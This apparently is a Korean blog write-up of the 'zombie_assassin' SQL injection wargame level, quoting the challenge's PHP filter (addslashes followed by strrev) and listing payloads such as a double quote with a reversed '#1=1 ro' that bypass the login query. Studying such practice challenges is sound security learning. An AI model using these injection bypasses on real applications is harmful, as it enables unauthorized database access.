728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
id, pw의 값이 ‘’인 파라미터가 보인다.
query : select id from prob_zombie_assassin where id='' and pw=''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- prob
- _
- .
- ()
addslashes() 함수를 사용하여 id, pw변수의 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- 싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)에 해당한다.
그 후 그 문자열은 strrev() 함수에 의해 거꾸로 뒤집어진다.
문제를 풀기 위해서는 id의 값을 우회해야 문제가 풀리는 듯 하다.
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("zombie_assassin");
지난번 문제와는 달리 싱글쿼터에 대한 필터링이 존재하지 않는다.
만약 싱글쿼터(’)를 입력하면 (\’) 가 출력되는데, 이때 strrev() 함수에 의해 ‘\가 되어 id의 싱글쿼터가 닫히게된다.
query : select id from prob_zombie_assassin where id=''\\' and pw=''
공격문을 만들어보았다.
?id='' => where id=''\\'\\' and pw='' (id 값의 싱글쿼터가 닫힘)
?id=''&&pw=or 1=1%23
?id=''&&pw=%231=1 ro
?id="&&pw=%231=1 ro
‘’를 입력해서 역슬래쉬가 하나 중간에 껴서 문제가 풀리지 않고 있었다.
“ 을 입력해서 문제를 풀었다.
728x90
반응형